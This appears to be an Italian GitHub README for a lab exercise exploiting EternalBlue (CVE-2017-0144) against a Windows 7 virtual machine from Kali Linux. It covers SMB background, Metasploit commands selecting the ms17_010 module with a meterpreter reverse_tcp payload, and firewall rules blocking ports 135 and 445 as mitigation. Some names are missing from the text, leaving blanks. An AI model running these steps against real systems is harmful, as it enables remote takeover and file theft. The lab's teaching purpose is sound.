luckyman2907/smb-protocol-vulnerability_cve-2017-0144Guida di laboratorio passo-passo che dimostra l'exploit EternalBlue (CVE-2017-0144) contro il protocollo SMB di Windows 7 utilizzando Metasploit, includendo configurazione, sfruttamento e fasi di mitigazione.
LAB: ATTACCO AL SISTEMA OPERATIVO WINDOWS BASATO SULLA VULNERABILITÀ DEL PROTOCOLLO SMB.
In questo laboratorio useremo due computer per simulare un attacco basato sulla vulnerabilità nel protocollo SMB del sistema operativo Windows. Una macchina esegue Kali Linux, nel ruolo dell'attaccante (hacker). E un computer nel ruolo di vittima (victim). La macchina vittima esegue Windows 7 a 64 bit e contiene la vulnerabilità SMB. Per fare ciò, sulla macchina Kali Linux utilizzeremo l'exploit chiamato EternalBlue per attaccare la macchina Windows 7.
Server Message Block (SMB) è un protocollo di condivisione file abbastanza comune sulla piattaforma Windows di Microsoft. Grazie a questo protocollo SMB, i computer Windows connessi tra loro nella stessa rete o nello stesso dominio possono condividere file. Ad oggi, SMB è anche conosciuto con il nome Common Internet File Sharing (CIFS).
EternalBlue è un exploit informatico basato sulla vulnerabilità del protocollo SMB attraverso la porta 445. Inizialmente, EternalBlue è stato sviluppato dalla National Security Agency (NSA) degli Stati Uniti. Il nome completo in inglese è U.S. National Security Agency. Ma in seguito è stato divulgato dal gruppo hacker The Shadow Brokers nel 2017. Nello stesso anno si è verificato un attacco su larga scala di virus di crittografia dei dati – Ransomware – rivolto ai computer Windows di Microsoft in tutto il mondo. Tra questi, il più famoso è stato il virus . Ad oggi, sebbene questa vulnerabilità sia stata corretta da Microsoft con l'aggiornamento di sicurezza , tuttavia nel mondo un gran numero di computer che eseguono sistemi operativi Windows hanno ancora questa vulnerabilità. Questa vulnerabilità è stata pubblicata come (Windows SMB Remote Code Execution Vulnerability). Questa vulnerabilità è estremamente pericolosa e molto facile da sfruttare. La cosa notevole è che per attaccare tramite questa vulnerabilità del protocollo SMB, l'hacker non deve inviare o indurre la vittima a scaricare o eseguire alcun virus dannoso. Cioè, la vittima, anche se non fa nulla, viene comunque facilmente attaccata dall'hacker, che prende il controllo del computer senza che lei se ne accorga.
Prepara 2 macchine virtuali in esecuzione su VMware Workstation:
Sulla macchina virtuale Kali (attaccante):
ifconfigservice postgresql startservice postgresql statusSulla macchina virtuale Windows 7 (vittima):
ipconfigmsfconsole
search ms17_010
use 0 -> set payload windows/x64/meterpreter/reverse_tcp
=>A questo punto l'hacker è riuscito a penetrare nella macchina vittima. A questo punto, l'hacker può cancellare, rubare file dalla macchina vittima senza che essa se ne accorga. Può persino caricare ed eseguire virus direttamente su di essa.
Per evitare di essere sfruttati e per proteggere il protocollo SMB, dobbiamo eseguire alcune operazioni:
netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 name="Block_Cong_445"